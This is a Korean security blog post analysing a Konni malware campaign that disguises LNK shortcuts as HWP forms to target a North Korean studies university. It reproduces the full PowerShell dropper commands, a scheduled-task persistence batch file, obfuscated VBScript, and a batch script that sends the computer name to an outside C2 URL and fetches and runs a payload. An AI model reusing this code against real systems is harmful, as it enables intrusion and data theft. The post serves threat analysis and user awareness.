꿈을꾸는 파랑새

북한 해킹 단체 Konni(코니) 에서 만든 악성코드 만든 악성코드 2023-2-주차등록신청서-학생용. hwp(2023.8.30)에 대해 알아보겠습니다.
일단 해당 악성코드는 전국에서는 물론 세계에서도 유일한 북한학, 대북 컨설팅을 전문으로 하는 유일한 교육기관이자 언론에서 대북문제 자문으로 자주 언급되는 교육기관인 북한대학원대학교를 타겟으로 만든 악성코드로 아마도 해당 대학교에 있는 교수, 그리고 학생들은 노린 것을 추측할 수 있습니다.
해당 악성코드는 zip 형식의 압축코드로 돼 있으면 해당 압축 파일은 2번의 압축 파일로 돼 있는 것이 특징입니다.
해쉬값은 다음과 같이 됩니다.
사이즈:240 KB
CRC32:0af06070
MD5:4bd6c089537d8ac66ac147b1512e7634
SHA-1:f699520c4eabe3745f59cccabfc60205871f95f3
SHA-256:207ef77e5991486a97bdec6939b95922c4ced146134267afe94a40b19b7f8ade
이걸 다시 압축을 풀면 해쉬값은 다음과 같이 됩니다.
사이즈:9.20 MB
CRC32:7d4245e2
MD5:6125a6e8c160df9a33549927f97316df
SHA-1:3e798a107d354a0f106465b564c0d0b620ea50aa
SHA-256:dd85c8400fb30e4d02f0159aab3c3dbe55d277360f04b1a4296d95bec0488e5a

최종적으로 생성 되는 악성코드 파일
최종적으로 생성 되는 악성코드 파일

무슨 인생이 꼬였는지 아주 이중으로 압축해 놓았습니다. 그리고 압축된 파일을 최종적으로 풀고 나면 다음과 같이 됩니다.
2023-2-주차등록신청서-학생용.hwp
파일명: 2023-2-주차등록신청서-학생용.hwp.lnk
사이즈:9.09 MB
CRC32:26ea0a97
MD5:d7d48592bc21b37c02891e0e036bf26c
SHA-1:b791cf55ac70224c5e7c98167bf497c54996fe6e
SHA-256:484323e010793b16594c9d92694ea1ef275d8a588e1fcddd6826cdf4cce68db5
수강신청정정원.hwp.lnk
파일명:수강신청정정원.hwp.lnk
사이즈:7.14 MB
CRC32:d3a817f4
MD5:26f69f8917f6890f26ec5b10611df092
SHA-1:4c1d53a52d505f4e0646e3e086aa4b05c7a34aa6
SHA-256:17d7aa84e33ea5d504c39a784007d4ab770364028c0a937cc54509299b5d44ba

북한대학원대학교 주차등록 신청서북한대학원대학교 수강신청 정정원
북한대학원대학교 주차등록 신청서  및 북한대학원대학교 수강신청 정정원

입니다. 그냥 보면 hwp 같이 생겼지만, 아이콘 모양 보면 바로 가기로 만든 파일에서 생성 되만 표시되는 화살표 모양 이 있는 것을 확인할 수가 있으며 만약 이게 진짜 hwp 파일인지 열려면 폴더 옵션에 가서 알려진 파일 형식의 파일 확장명 숨기기를 기본적으로 체크 돼 있는 것을 해제해 보면 더 쉽게 확인을 할 수가 있습니다. 물론 해당 설정이 필수적으로 변경하는 것이 아닌데 해당 부분을 해제해주면 토렌트 등에서 마치 토렌트 파일로 위장해서 랜섬웨어, 악성코드 퍼뜨리는 악성코드에 대응하는데 쉽게 확인을 할 수가 있습니다.

즉 자신이 실행하는 파일이 exe,lnk,hwp 인지 쉽게 확인을 할 수가 있어서 파일을 실행할 때 보안에 도움이 될 수가 있습니다.
해당 악성코드의 PowerShell 코드는 다음과 같습니다.

2023-2-주차등록신청서-학생용.hwp 악성코드에 포함이 된 PowerShell 코드수강신청정정원.hwp.lnk 파일에 포함이 된 PowerShell 코드
2023-2-주차등록신청서-학생용.hwp 악성코드에 포함이 된 PowerShell 코드

LinkTargetIDList
{
 // not present
}

StringData
{
 namestring: 
 relativepath: not present
 workingdir: not present
commandlinearguments:/k for /f "tokens=*" %a in
('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell(.)exe /s /b /od')
do call %a -windowstyle hidden "$JjVKo = Get-Location;if($JjVKo -Match 'System32' -or
$JjVKo -Match 'Program Files') {$JjVKo = '%temp%';};$v5mjSdTKe9b1 = Get-ChildItem -Path
$JjVKo -Recurse *(.)lnk | where-object {$_.length -eq 0x00919999} |
Select-Object -ExpandProperty FullName;$JjVKo =
Split-Path $v5mjSdTKe9b1;$CpJo3T (=) New-Object System.IO.FileStream($v5mjSdTKe9b1,
[System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$CpJo3T(.)Seek(0x00001A1D,
[System.IO.SeekOrigin]::Begin);$BN0IHr781w = New-Object byte[]
0x0000A600;$CpJo3T.Read($BN0IHr781w(,0) 0, 0x0000A600);$Y_70Xj = $JjVKo( +) 
'\' + [regex]::unescape('2023-2-주차등록신청서-학생용(.)hwp');sc $Y_70Xj $BN0IHr781w
-Encoding Byte;& $Y_70Xj;$CpJo3T.Seek(0(x)0000C080, [System.IO.SeekOrigin]::Begin);
$cFTvmVv(_)If_vY=New-Object byte[] 0x000148D2;$CpJo3T(.)Read($cFTvmVv_If_vY, 0, 0x000148D2)
;$CpJo3T(.)Close();Remove-Item (-)Path $v5mjSdTKe9b1 -Force;$KmUVxUr=$env:public (+)
'\' (+) 'update_cmd(.)zip';sc $KmUVxUr $cFTvmVv_If_vY -Encoding
Byte;$RNTrgY = new-object -com shell.application;$l07d3l1qO =
$RNTrgY.Namespace($KmUVxUr);$RNTrgY.Namespace($env:public + '\' + 'documents').
CopyHere($(l)07d3l1qO.items(), 1044) | out-null;remove-item -path
$KmUVxUr -force;$kBy(_)bk4v9=$env:public(+)'\Documents\update(.)vbs';&
wscript(.)exe $kBy_bk4v9;"
 iconlocation: (.)hwp
}

입니다. 이것을 일단 해석하면 다음과 같습니다.
1. 스크립트의 시작 부분:
스크립트는 PowerShell 스크립트로 시작
주요 명령어들은 StringData 섹션에 위치
해당 스크립트는 시스템의 상태를 숨겨진(hidden) 상태로 유지하며 작동
2. 주요 명령어:
commandlinearguments에 있는 부분은 긴 명령어
해당 명령어는 각각의 동작을 수행하는 작은 코드 블록으로 구성
3. 스크립트의 주요 목적:
스크립트는 시스템 내에 있는 .lnk 파일 중에서 특정 크기(0x00919999)를 가진 파일을 찾아냅니다.
해당 파일의 이름을 사용하여 .hwp 파일을 생성하고 해당 파일에 바이트 데이터를 쓰는 등의 작업을 수행
마지막으로, update_cmd(.)zip 파일을 다운로드하고 이를 압축 해제하여 공용(public) 문서 디렉터리로 복사하고 나서 그 후에 update.vbs 파일을 실행
시스템 내에 숨겨진 상태에서 작동을 합니다.
그리고 수강신청정정원.hwp.lnk 파일은 다음과 같은 PowerShell 코드가 있습니다.

LinkTargetIDList
{
 // not present
}

StringData
{
 namestring: 
 relativepath: not present
 workingdir: not present
 commandlinearguments:/k for /f "tokens=*" %a in
 ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell(.)exe/s /b /od')
 do call %a -windowstyle 
 hidden "$QENmMowEoPdY = Get-Location;if($QENmMowEoPdY -Match 'System32'
 -or $QENmMowEoPdY -Match 'Program Files') {$QENmMowEoPdY = '%temp%';}
 ;$Eim57MjA9I7 = Get-ChildItem -Path $QENmMowEoPdY -Recurse *(.)lnk
 | where-object {$_.length -eq 0x00726666} | Select-Object -ExpandProperty FullName
 ;$QENmMowEoPdY = Split-Path $Eim57MjA9I7;$IkeYT4zm6 = New-Object
 System.IO.FileStream($Eim57MjA9I7,
 [System.IO.FileMode]::
 Open, [System.IO.FileAccess]::Read);$IkeYT4zm6.Seek(0x00001A91, [System.IO.SeekOrigin]::Begin)
 ;$qLiNAm = New-Object byte[] 0x00003000;$IkeYT4zm6.Read($qLiNAm, 0, 0x00003000)
 ;$wQoN735KAexM (=) $QENmMowEoPdY + '\' (+) [regex]::unescape('수강신청정정원.hwp');sc
 $wQoN735KAexM $qLiNAm -Encoding Byte;& $wQoN735KAexM;$IkeYT4zm6.Seek(0x00004ACB,
 [System.IO.SeekOrigin]::Begin);$mfLwp=New-Object byte[]
 0x000148(D)2;$IkeYT4zm6.Read($mfLwp, 0, 0x0001(4)8D2);$IkeYT4zm6.Close()
 ;Remove-Item -Path $Eim57MjA9I7 -Force;$Z2jrmDr0mIDu=$env:public (+) '\' (+) 
 'update_cmd(.)zip';sc $Z2jrmDr0mIDu $mfLwp -Encoding Byte;$HgsRu1qVRnGM = new-object -com
 shell(.)application;$HH2iF9BsPD9bQ = 
 $HgsRu1qVRnGM(.)Namespace($Z2jrmDr0mIDu);$HgsRu1qVRnGM.Namespace($env:public + '\' 
 (+) 'documents')
 .CopyHere($HH2iF9BsPD9bQ.items(), 1044) | out-null;remove-item -path $Z2jrmDr0mIDu
 -force;$HWbAYfLMtWTM=$env:public+'\Documents\update(.)vbs';& wscript(.)exe $HWbAYfLMtWTM;"
 iconlocation: (.)hwp
}

해당 코드의 설명은 다음과 같습니다.
해당 코드는 PowerShell 스크립트로 구성되어 있으며, 시스템 내에서 다양한 작업을 수행하려고 시도하는 내용을 포함하고 있음
1. 명령어 실행 환경 설정:
스크립트의 초기 부분에서 PowerShell 환경을 설정하는 작업
2. 파일 탐색:
.lnk 확장자를 가진 특정 크기(0x00726666)의 파일을 탐색
파일 크기 조건을 만족하는 .lnk 파일의 경로를 찾습니다.
3. 파일 작업:
찾은 .lnk 파일의 경로를 사용하여 .hwp 확장자를 가진 파일을 생성하고 해당 파일에 데이터를 작성
생성한 .hwp 파일에 대해 특정 위치에서 바이트 데이터를 읽어옵니다.
4. 파일 다운로드 및 압축 해제:
update_cmd(.)zip 파일을 생성하고 해당 파일에 바이트 데이터를 작성
생성한 update_cmd(.)zip 파일을 시스템 내의 공용(public) 디렉터리에 저장
공용 디렉터리에 있는 update_cmd(.)zip 파일을 압축 해제
5. 파일 실행:
압축 해제된 파일 중 update(.)vbs 를 실행
두 개의 코드의 공통점과 차이점

공통점

1. 구조와 목적: 두 코드 조각은 모두 PowerShell 스크립트로 작성되었으며 파일 다운로드 및 실행 작업을 수행하는 것이 주요 목적
2. 파일 다운로드:두 코드 모두 외부에서 데이터를 내려받으려고 시도합니다. 이를 통해 시스템에 외부 자료를 가져오고 저장
3.파일 실행: 두 코드 조각 모두 외부에서 가져온 파일을 실행하려고 시도합니다. 이를 통해 시스템에 포함된 명령을 실행하거나 작업을 수행
4. 악성 코드 가능성: 두 코드 모두 악의적인 목적으로 사용될 수 있는 악성 코드

차이점

1. 파일 탐색 크기 및 이름: 두 코드 조각에서 파일을 찾아내는 크기와 이름이 다릅니다. 첫 번째 코드는 파일 크기가 0x00919999 인 .lnk 파일을 찾고, 두 번째 코드는 파일 크기가 0x00726666인 .lnk 파일을 찾습니다. 또한 .hwp 파일 이름도 서로 다름
2. 파일 내용 및 내려받기: 두 코드 모두 내려지는 파일의 이름과 크기, 내용 등이 다름 이는 각 코드가 서로 다른 외부 자료를 가져오려고 시도하거나, 다른 작업을 수행하려는 경우
3. 파일 실행 위치:두 코드 조각에서 다운로드한 파일을 실행하려는 위치가 다름
첫 번째 코드에서는 update(.)vbs 파일을 $env:public (+) '\Documents\' 디렉터리에서 실행하려고 시도하며 두 번째 코드에서는 해당 부분이 update(.)vbs 를 실행하는 위치를 지정하지 않고 있습니다.
저는 여기서 2023-2-주차등록신청서-학생용를 따라가겠습니다.

먼저 C:\Windows\system32\wscript.exe" C:\Users\Public\Documents\update.vbs 실행하고 나서 C:\Windows\system32\cmd.exe /c C:\Users\Public\Documents\stopedge.bat(ff4067b4865c9b49da2f28ac12ca5c1a)을 실행합니다.

stopedge.bat 내용
stopedge.bat 내용

그리고 해당 코드 설명은 다음과 같습니다.
1.@echo off: 해당 명령은 배치 파일이 실행될 때 커맨드의 출력을 화면에 표시하지 않도록 설정 스크립트 실행 중 출력이 화면에 나타나지 않습니다.
2.pushd "%~dp0":현재 작업 디렉터리를 배치 파일이 위치한 디렉터리로 변경
3.if exist "paycom.ini":현재 디렉터리에 paycom.ini 파일이 존재하는지 확인
4. if 조건이 참일 때 실행할 명령어 블록을 정의
5.schtasks /create /sc minute /mo 33 /tn "MicrosoftEdgeEasyUpdate" /tr "%~dp0install.vbs" /f`: "paycom.ini" 파일이 존재하면 스케줄 작업을 생성하여 33분마다 MicrosoftEdgeEasyUpdate 이름으로 install.vbs 파일을 실행하도록 설정  스케줄 작업은 덮어쓰기 모드로 생성
6.del /f /q %~dp0paycom.ini:paycom.ini 파일을 강제로 삭제 %~dp0 는 현재 디렉토리의 경로를 나타냄
7.call versioninfo.bat:versioninfo.bat 파일을 호출 
8.del /f /q versioninfo.bat:versioninfo.bat 파일을 강제로 삭제
9.timeout -t 5 /nobreak:5초 동안 대기 /nobreak 옵션은 사용자가 키보드를 입력하여 타임아웃을 중단하지 못하도록 합니다.
10.del /f /q update.vbs:update.vbs 파일을 강제로 삭제

install.vbs 스크립트
install.vbs 스크립트

그리고 install.vbs(db31a36e1684c568fa3529d60a59ba29) 내용은 다음과 같습니다.

GXZ4(0)36PV = "eC(9)NM;['vB{,*"
BW0np(w)s9Nc5r1 = BW(0)npws9(N)c5r1 (&) Chr(52721 Xor 52646):BW0npws(9)Nc5r1
= BW0npws9Nc5r1 & Chr(25801 Xor 25754)
BW0npws9(N)c5r1 = BW0npws9Nc5r1 (&) Chr(18708 Xor 18807):BW0npws9Nc5r1 
= BW0npws9Nc5r1 (&) Chr(8977 Xor 9059)
BW0npws9Nc(5)r1 = BW0npws9N(c)5r1( &) Chr(46973 Xor 46868):BW0npws9Nc5r1
= BW0npws9Nc5r1 (&) Chr(21435 Xor 21451):BW0npw(s)9Nc5r1
= BW0n(p)ws9Nc5r1 & Chr(29443 Xor 29559):BW0npws9Nc5r1
= BW0npws9Nc5r1 & Chr(30634 Xor 30596):BW0npws9Nc5r1
= BW0npws9Nc5r1 & Chr(26068 Xor 25991):BW0npws9Nc5r1
= BW0npws9Nc5r1 (&) Chr(49102 Xor 49062)
BW0npws9Nc5r1 = BW0npws9Nc5r1 & Chr(32409 Xor 32508):BW0npws9Nc5r1
= BW0npws9Nc5r1 (&) Chr(52775 Xor 52811):BW0npws9Nc5r1
= BW0npws9Nc5r1 (&) Chr(50249 Xor 50213):GXZ4036PV = BW0npws9Nc5r1
Set x2PC8yTwz(c)tC = CreateObject(GXZ4036PV)
KNI2n = Left(WScript.ScriptFullName(,) InstrRev(WScript.ScriptFullName, "\"))

BQpRdqXl (=) " %-JlT4D] v%+f"
bb1CsL85g1 (=) bb1CsL85g1 (&) Chr(53185 Xor 53171):bb1CsL85g1
= bb1CsL85g1 (&) Chr(11023 Xor 11114):bb1CsL85g1 (=) bb1CsL85g1
(&0 Chr(44233 Xor 44218):bb1CsL85g1 = bb1CsL85g1 (&) Chr(35196 Xor 35091)
:bb1CsL85g1 = bb1CsL85g1 & Chr(46031 Xor 45987)
bb1CsL85g1 = bb1CsL85g1 (&) Chr(26828 Xor 26810):bb1CsL85g1
= bb1Cs(L)85g1 (&) Chr(2878 Xor 2907)
bb1CsL85g1 = bb1CsL85g1 & Chr(40387 Xor 40359):bb1CsL85g1
= bb1CsL85g1 (&0 Chr(15782 Xor 15816):bb1CsL85g1
= bb1CsL85g1 (&) Chr(42261 Xor 42342):bb1CsL85g1
= bb1CsL85g1 & Chr(42650 Xor 42676):bb1CsL85g1 = bb1CsL85g1 & Chr(17637 Xor 17543)
:bb1CsL85g1 = bb1CsL85g1 (&) Chr(36955 Xor 36922)
bb1CsL85g1 = bb1CsL85g1 (&) Chr(22401 Xor 22517):BQpRdqXl = bb1CsL85g1
x2PC8yTwzctC.Run KNI2n (&) BQpRdqXl, 0
Set x2PC8yTwzctC (=) Nothing

코드는 해석은 다음과 같습니다.
1.GXZ4036PV 와 BW0npws9Nc5r1 변수:
GXZ4036PV = eC9NM;['vB{,*":변수 GXZ4036PV에 문자열 eC9NM;['vB{,*을 할당
BW0npws9Nc5r1 은 변수로 초깃값이 없고, 이후에 여러 번 XOR 연산을 통해 값이 변화
2.BW0npws9Nc5r1 변수에 대한 연산
해당 변수에는 여러 번 XOR 연산을 통해 값이 더해지고 변화 연산은 문자열을 바탕으로 XOR 연산을 수행하고 그 결과 값을 저장하는 과정
3.Set x2PC8yTwzctC = CreateObject(GXZ4036PV):
GXZ4036PV 변수에 할당된 문자열을 사용하여 COM 개체를 생성 이때 생성되는 개체의 타입이나 용도는 코드 내에서 나타나지 않음
4.KNI2n = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\")):
현재 스크립트 파일의 경로를 찾아내고 마지막 경로 구분자 "\"를 기준으로 파일 이름을 분리하여 변수 KNI2n 에 저장
5.BQpRdqXl와 bb1CsL85g1 변수:
BQpRdqXl 에는 문자열  %-JlT4D] v%+f를 할당
bb1CsL85g1은 변수로 초기 값이 없고 이후에 여러 번 XOR 연산을 통해 값이 변화
6.bb1CsL85g1 변수에 대한 연산:
bb1CsL85g1 변수에도 여러 번 XOR 연산을 통해 값이 더해지고 변화
7.x2PC8yTwzctC.Run KNI2n & BQpRdqXl, 0:
앞서 생성한 COM 개체인 x2PC8yTwzctC 의 Run 메서드를 호출하여 스크립트 파일의 경로 KNI2n 과 문자열 BQpRdqXl 을 합친 후 실행합니다. 실행 시 세 번째 인자 0은 숨겨진 창에서 실행하도록 지시
8. Set x2PC8yTwzctC = Nothing:
COM 개체 사용이 끝나고 해당 개체를 정리하기 위해 Nothing으로 설정하여 메모리에서 해제

activate.vbs(b86c38ae5c24c55831d7f8ca3cbeb814)->resolvedns.bat(892bd45372876d29e883e114981e311b)

resolvedns.bat 내용
resolvedns.bat 내용

해당 코드는 Batch 스크립트로 주어진 디렉터리에 있는 파일들을 사용하여 다양한 작업을 수행

@echo off

pushd "%~(d)p0"

set t(t)n=324093
set t(t)y=230704
set url=http://anrun(.)kr/movie/contents(.)php?fifo=%COMPUTERNAME%

if exist "stopedge.bat" (del /f /q stopedge(.)bat)
if exist "%t(t)n%(.)zip" (del /f /q %ttn%(.)zip)
WScript.exe activate(.)vbs "%(u)rl%" "%ttn%(.)zip"

if exist "%(t)tn%(.)zip" (
	call unzip(.)exe -P "a" -o "%~dp0(%t)tn%(.)zip" > nul
	del /f /q %~dp0%(t)tn%(.)zip > nul
	WScript.exe "%t(t)y%(.)vbs"
	del /f /q %t(t)y%(.)vbs > nul
)

 

1.@echo off:해당 명령은 스크립트가 실행될 때 화면에 명령어를 표시하지 않도록 합니다.
2. pushd "%~dp0":현재 디렉터리를 바꾸고 해당 위치로 이동 %~dp0 는 현재 스크립트가 위치한 디렉터리를 나타냄
3. set ttn=324093 및 set tty=230704:변수 ttn과 tty에 각각 324093과 230704 값을 할당
4.set url=http://anrun(.)kr/movie/contents(.)php?fifo=%COMPUTERNAME%: 변수 URL에는 URL을 할당 %COMPUTERNAME% 은 현재 컴퓨터 이름을 나타내는 환경 변수
5. if exist "stopedge.bat" (del /f /q stopedge.bat):만약 stopedge.bat 파일이 존재하면 해당 파일을 삭제
6. if exist "%tt(n)%.zip" (del /f /q %tt(n)%.zip):만약 %tt(n)%(.0zip 파일이 존재하면 해당 파일을 삭제
7.WScript.exe activate.vbs "%url%" "%tt(n)%.zip:activate.vbs 스크립트를 실행이 때 %ur(l)%과 %tt(n)%(.)zip 값을 전달
8.if exist "%t(t)n%.zip" (:만약 "%tt(n)%.zip 파일이 존재하면 다음 작업을 수행
9.call unzip(.)exe -P "a" -o "%~dp0%(t)tn%.zip" > nul:unzip(.)exe 프로그램을 호출하여 "%t(t)n%.zip" 파일을 압축 해제 -P "a" 옵션은 비밀번호를 a로 설정하고 -o 옵션은 덮어쓰기를 허용> nul은 출력을 무시하도록 합니다.
10.del /f /q %~dp0(%)ttn%.zip > nul: 압축 해제한 %t(t)n%(.)zip 파일을 삭제합니다. > nul은 출력을 무시
11. WScript.exe "%tt(y)%.vbs:%(t)ty%.vbs 스크립트를 실행
12. del /f /q %tt(y)%.vbs > nul: 실행한 "%t(t)y%.vbs 파일을 삭제 > nul 은 출력을 무시
해당 스크립트는 파일 삭제, 압축 해제, 외부 스크립트 실행 등의 작업을 수행하여 컴퓨터에서 특정 동작을 실행하도록 설계
activate(.)vbs와 unzip(.)exe 등의 외부 프로그램과 파일이 필요한 작업을 진행합니다.

각각 악성코드에 포함이 된 PowerShell 코드
각각 악성코드에 포함이 된 PowerShell 코드

최종적으로 http://anrun(.)kr 사이트가 관리가 되지 않아서 북한 해킹 단체에서 이용한 것입니다.
VirusTotal 에서 2023-08-31 16:49:41 UTC 기준으로 탐지되는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Generic
ALYac:Trojan.Agent.LNK.Gen
Avast:Script:SNH-gen [Trj]
AVG:Script:SNH-gen [Trj]
ClamAV:Lnk.Trojan.Qakbot-9977832-1
Cyren:LNK/ABRisk.JRJI-1
eScan:Trojan.GenericKD.69035282
ESET-NOD32:LNK/TrojanDropper.Agent.DK
Google:Detected
Kaspersky:HEUR:Trojan.WinLNK.Powecod.c
McAfee-GW-Edition:BehavesLike.Trojan.tx
Rising:Trojan.PSRunner/LNK!1.BADE (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
VBA32:Trojan.Link.Crafted
VIPRE:Trojan.GenericKD.69035282
ZoneAlarm by Check Point:HEUR:Trojan.WinLNK.Powecod.c
결론은 해당 악성코드를 실행하면 컴퓨터에 있는 정보들은 실시간으로 전송되며 그리고 제일 중요한 것은 기본적인 보안 수칙 중 하나인 백신 프로그램(안티바이러스 프로그램)을 설치를 하고 이메일은 주소를 조작할 수가 있으므로 어~내가 아는 사람이네 하고 파일을 다운로드 해서 실행을 하면 큰일이 발생합니다.

그리고 백신 프로그램은 AV-TEST에서 인증받은 프로그램을 사용하는 것을 추천 드리면 지갑의 여유가 되며 유료 버전을 결제해서 풀 옵션을 사용하는 것을 추천합니다. 그리고 사이트를 운영하시는 분들은 제발 관리 잘해서 자신의 사이트가 악성코드 유포지가 되어서 보안 업체들에 차단되는 일이 없으시길 바랍니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band